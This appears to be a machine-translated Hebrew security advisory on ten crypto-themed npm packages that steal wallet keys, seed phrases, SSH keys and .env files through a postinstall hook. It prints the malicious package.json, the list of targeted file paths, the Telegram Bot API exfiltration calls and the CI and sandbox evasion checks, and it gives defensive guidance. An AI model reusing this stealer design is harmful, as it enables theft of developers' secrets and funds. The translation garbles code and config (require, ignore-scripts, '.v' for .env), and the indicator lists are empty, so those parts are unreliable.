TL; DR
ב-9 ביוני 2026, חשבון מפרסם יחיד של npm, aicrypto-xzggg, נשלח עשר חבילות עם שמות בטעם קריפטו ו-Web3 - farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, ועוד שישה.
כל חבילה מפעילה את אותו מטען מ-a postinstall hook. בהתקנה, הוא בודק אם הוא פועל בתוך CI או בארגז חול - אם לא, הוא קורא מאגרי מפתחות של ארנק, קבצי seed-phrase, מפתחות SSH ו- .env קבצים משש מערכות אקולוגיות של בלוקצ'יין ומשדר אותם לבוט של טלגרם.
האינדיקטור היחיד שמגן יכול לחפש באופן מיידי הוא מזהה הבוט של טלגרם. 8227918239.
חומרה: קריטי — גניבה ישירה של מפתחות חתימה וביטויי שחזור מ תחנות עבודה למפתחים.
ההתקפה: איך זה עובד
החבילות מפרסמות את עצמן ככלי עזר למפתחי בלוקצ'יין. package.json הוא מינימלי ומצביע על מחזור חיי ההתקנה לסקריפט:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" }scripts/postinstall.js הוא פחית בעלת שורה אחת שטוענת את המטען האמיתי: דורש("../src/index.js"). כי לאחר ההתקנה פועל באופן אוטומטי במהלך התקנת npm, אין צורך בייבוא קוד על ידי המפתח - מספיקה הצבת החבילה בעץ תלויות כדי להריץ אותה.
שרשרת ההרג בפנים src / index.js הוא ארבעה שלבים:
- בדיקת סביבה. פונקציית guard מחליטה אם המארח נראה כמו סוכן בנייה או ארגז חול לניתוח.
- לְעַכֵּב. הביצוע נדחה מאחורי setTimeout של בערך 7.4 שניות.
- אוסף. רשימה קבועה של נתיבי קבצים של ארנק, מפתח וקבצים סודיים עוברת; קבצים קיימים מוכנסים לתור.
- סינון. קבצים בתור נשלחים לבוט של טלגרם, לפניהם מופיעה הודעת סיכום.
רשימת יעדי האוסף משתרעת על פני שש שרשראות בתוספת סודות מפתחים גנריים. גזור:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localעשרים ואחד נתיבים בסך הכל. רשומות ספרייה כגון ~/.ethereum/מפתחות מורחבים וכל קובץ שבתוכם נמצא בתור. הסינון משתמש ישירות בממשק ה-API של בוט הטלגרם - א שלח הודעה שיחה עם סיכום מארח וקובץ, ואז א שלח מסמך העלאה מרובת חלקים עבור כל קובץ:
טֶקסט
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file)הודעת הסיכום שהקוד מרכיב מתחילה במחרוזת הליטרלית גנב קריפטו, ואחריו שם המארח, שם המשתמש, שם החבילה המקורית, ספירת הקבצים וחותמת הזמן.
מה חדש כאן
המבדיל אינו מנגנון הגניבה - exfil מבוסס טלגרם מ-npm לאחר ההתקנה hooks הוא רמוס היטב. זהו ה- שער הוצאה להורג. לפני ביצוע פעולה כלשהי, המטען קורא לפונקציה שמחזירה true כאשר המארח דומה לרץ CI או ארגז חול, ומחזירה מוקדם כאשר היא כן:
טֶקסט
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape)ה-regex הרגולרי של container-id הוא הסעיף הבולט: שם מארח בן 12 תווים הקסדצימליים הוא הצורה המוגדרת כברירת מחדל ש-Docker מקצה ל- מכולה, כך שהמטען מתייחס ל"שם המארח שלי נראה כמו מכולה של Docker" כסיבה להישאר רדום. בשילוב עם העיכוב של שבע שניות, העיצוב מעדיף הפעלה על תחנת עבודה אמיתית של המפתח ושמירה על שקט בכל מקום שנראה כמו ניתוח אוטומטי. שער זה הוא שדיכא את אותות הניתוח הדינמי ושמר על זרימת ה-exfil הסטטית כראיה העיקרית להרשעה.
ציר זמן
כל העשרה צצו תוך כשבעים דקות, בהתאם לפרסום תסריטאי יחיד שרץ מחשבון אחד.
אינדיקטורים לפשרה
אינדיקטורים התנהגותיים ורשתיים (מארח עם חסימות):
חבילות וגרסאות, כל אחת עם ה-SHA-256 שלה src / index.js payload (המטעני ה-payload זהים מבחינה פונקציונלית ונבדלים רק בתווית שם החבילה המוטמעת, כך שכל hash הוא שונה):
שאילתת חיפוש פשוטה: חפש יומני התקנה וקובצי נעילה עבור כל אחד מעשרת השמות, וחפש תעבורה יוצאת עבור חיבורים לממשק ה-API של בוט הטלגרם ממארחי בנייה או מפתחים שאינם משתמשים בו בדרך כלל.
ייחוס והתנהגות נצפית
כל עשר החבילות פורסמו על ידי חשבון אחד, aicrypto-xzggg, שכתובת הדוא"ל שלו היא vipsyria88@gmail[.]comגם כתובת הדוא"ל וגם קישור בקרת המקור לא מאומתים במטא-נתונים של הרישום, ולחשבון יש ציון מוניטין שלילי מאוד. לא אישרנו מי מפעיל את החשבון.
שני פרטים ראויים להפרדה מכל טענה לזהות. ראשית, ה package.json מחבר קריאות שדה אלכס סמית ' על כל חבילה, בעוד שחשבון ההוצאה בפועל הוא aicrypto-xzgggשדה המחבר הוא מטא-נתונים המוצהרים על ידי עצמו ואינו קובע את זכויות המחבר. שנית, מספרי הגרסאות משתנים מאוד - חלק מהחברים יושבים ב 1.0.0, אחרים ב 4.68.54 — דבר התואם את השימוש החוזר במטען יחיד על פני שמות חבילות טריים במקום לשמור על היסטוריית שחרור אמיתית.
ההתנהגות אחידה בכל האשכול: אותה רשימת נתיבי יעד, אותו מזהה בוט ומזהה צ'אט בטלגרם, אותו שער סביבה, אותו הדבר גנב קריפטו סמן. אחידות זו היא החוליה החזקה ביותר בין החבילות. זהו אות של אותו מפעיל, לא זהות.
השפעה, מגמות והנחיות למגינים
החשיפה היא קונקרטית. מפתח שמתקין אחת מהחבילות הללו על תחנת עבודה המכילה ארנק תוכנה, קובץ זרעים או מפתח SSH, קבצים אלה נקראים ומשודרים מהמארח תוך שניות. משפטי שחזור ומפתחות חתימה אינם פגים כמו אסימון הפעלה; ברגע ש... mnemonic.txt או סולאנה id.json עוזב את המכונה, הכספים שבשליטתה נמצאים בסיכון עד שיוזזו. אותה ריצה לוכדת גם .v קבצים, אשר נושאים באופן שגרתי מפתחות API ופרטי מסד נתונים.
שתי מגמות עומדות מאחורי אשכול זה. הראשונה היא המשך השימוש בשמות בנושא קריפטו ו-Web3 כדי לחזר אחרי קהל ספציפי - מפתחים ששומרים ארנקים ומפתחות באותה מכונה עליה הם מתקינים תלויות. השנייה היא התבגרות של התחמקות מארגז חול (sandbox) במטענים בזמן ההתקנה. שער שבודק משתני סביבה של CI, שמות משתמש של רצים וצורת שם מארח של מזהה מכולה של Docker הוא מאמץ מכוון להתנהג בצורה שונה תחת ניתוח מאשר בתחנת עבודה אמיתית, והוא מעלה את הרף לזיהוי דינמי גרידא.
עבור המגנים:
התקנה כאשר סקריפטים מושבתים כברירת מחדל. התקנת npm –ignore-scripts, או קבע התעלם-סקריפטים=אמת in .npmrc, מונע לאחר ההתקנה ביצוע; הפעל סקריפטים רק עבור התלויות הספציפיות שבאמת זקוקות להם.
הרחיקו ארנקים ומפתחות חתימה ממכונות בנייה ופיתוח. השתמשו בארנק חומרה או במארח חתימה ייעודי ונטול תלות.
לטפל .v, מאגרי מפתחות וקבצי ביטויי זרע כתכשיטי כתר. אסור שהם יישבו בספרייה שהיא גם התקנת npm עץ עובד.
חפש חיבורים יוצאים לממשק ה-API של בוט הטלגרם מ-CI וממארחי מפתחים. רוב סביבות הבנייה לעולם לא קוראות לזה; כזו שקוראת לזה פתאום, מיד לאחר ההתקנה, שווה בדיקה.
הצמדה וסקירת תלויות. חבילה חדשה לגמרי עם שם קריפטו גנרי, א לאחר ההתקנה hook, ושום קישור למאגר לא מצדיק בדיקה לפני שהוא נכנס לקובץ נעילה.
סעיף ההתחמקות ממזהה המכולה הוא גם תזכורת לאנליסטים: מטען בזמן ההתקנה שנשאר רדום בארגז חול אינו שפיר, הוא סלקטיבי. סקירה סטטית של נתיב ההתקנה נותרה הדרך האמינה לראות מה ביצוע דינמי עשוי לסרב להראות.
הפניות
תיעוד התקנת npm - סקריפטים של מחזור חיים ו –להתעלם מתסריטים— מדריך להשבתת התקנה אוטומטית hooks.
